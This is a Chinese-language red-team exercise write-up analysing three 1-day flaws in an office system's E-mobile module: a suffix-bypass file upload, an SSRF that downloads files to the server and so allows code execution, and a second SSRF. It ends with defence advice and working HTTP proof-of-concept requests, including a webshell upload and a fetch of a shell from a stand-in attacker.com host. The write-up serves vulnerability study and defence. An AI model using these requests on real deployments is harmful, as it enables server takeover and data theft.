【攻防演练】某协同办公系统多个1day分析过程
字数 1394 2025-08-06 20:12:46
某协同办公系统多个1day漏洞分析与利用教学文档
0x01 任意文件上传漏洞
1.1 漏洞分析
漏洞位置:E-mobile/App/Ajax/ajax.php 文件
漏洞类型:后缀过滤绕过导致的任意文件上传
代码逻辑分析:
- 上传文件赋值:
$photo = $_FILES["upload_quwan"]; - 获取文件后缀:
$ext_temp = path_info($photo["name"]); - 后缀校验逻辑存在缺陷:
- 仅检查后缀是否在黑名单中
- 未考虑后缀为空的情况(如
123.php.)
- 拼接路径完成上传
1.2 漏洞利用方法
利用条件:
- 系统运行在Windows环境下(Linux下无效)
- 上传接口可访问
利用步骤:
- 构造上传请求,使用特殊后缀绕过:
- 例如:
shell.php.(注意最后的点)
- 例如:
- 直接发送请求到:
action=mobile_upload_save
注意事项:
- 该绕过方法利用了Windows的文件名解析特性
- Linux系统下此方法无效
0x02 全回显SSRF可导致RCE
2.1 漏洞分析
漏洞位置:同一文件ajax.php中的action=dingtalkImg分支
漏洞形成过程:
- 获取
result参数并传入GrabImage函数 GrabImage函数执行流程:- 从URL获取文件名
- 打开URL读取图片流
- 打开文件并写入图片流
- 全程无任何文件后缀校验
漏洞影响:
- 全回显SSRF(服务器端请求伪造)
- 可导致远程代码执行(RCE)
2.2 漏洞利用方法
利用步骤:
- 在可控服务器上搭建Web服务
- 将恶意代码文件(如PHP webshell)放入Web目录
- 构造请求:
action=dingtalkImg&result=http://attacker.com/malicious.php - 系统会下载并保存恶意文件
2.3 类似漏洞接口
action=outSignImg分支存在相同漏洞
0x03 回显SSRF漏洞
3.1 漏洞分析
漏洞位置:/E-mobile/App/System/File/downfile.php
漏洞形成过程:
- 参数赋值:
$fileurl = $_REQUEST["url"]; $rooturl = "http://".$_SERVER['HTTP_HOST']; $checkurl = explode("/", $fileurl); - URL拼接逻辑:
- 当
$checkurl包含特定字符时,拼接指定URL - 否则直接拼接:
$url = $rooturl.$fileurl
- 当
- 使用
file_get_content获取URL内容,造成SSRF
3.2 漏洞利用方法
两种利用方式:
-
方法一:
url=@butian.net -
方法二:
- 修改请求头中的Host字段:
Host: butian.net
- 修改请求头中的Host字段:
总结与防御建议
漏洞总结表
| 漏洞类型 | 位置 | 利用条件 | 影响 |
|---|---|---|---|
| 任意文件上传 | ajax.php | Windows系统 | 服务器控制 |
| 全回显SSRF+RCE | ajax.php | 无 | 服务器控制 |
| 回显SSRF | downfile.php | 无 | 信息泄露、内网探测 |
防御建议
-
文件上传防御:
- 实施严格的白名单后缀校验
- 检查空后缀情况
- 限制上传目录的执行权限
-
SSRF防御:
- 禁用危险的PHP函数(如file_get_contents)
- 实施URL白名单机制
- 验证用户提供的URL
-
通用防御:
- 输入验证和过滤
- 最小权限原则
- 定期安全审计
附录:漏洞验证POC
任意文件上传POC
POST /E-mobile/App/Ajax/ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345
------WebKitFormBoundary12345
Content-Disposition: form-data; name="action"
mobile_upload_save
------WebKitFormBoundary12345
Content-Disposition: form-data; name="upload_quwan"; filename="shell.php."
Content-Type: text/plain
<?php phpinfo();?>
------WebKitFormBoundary12345--
SSRF+RCE POC
GET /E-mobile/App/Ajax/ajax.php?action=dingtalkImg&result=http://attacker.com/shell.php HTTP/1.1
Host: target.com
回显SSRF POC
GET /E-mobile/App/System/File/downfile.php?url=@internal.service HTTP/1.1
Host: target.com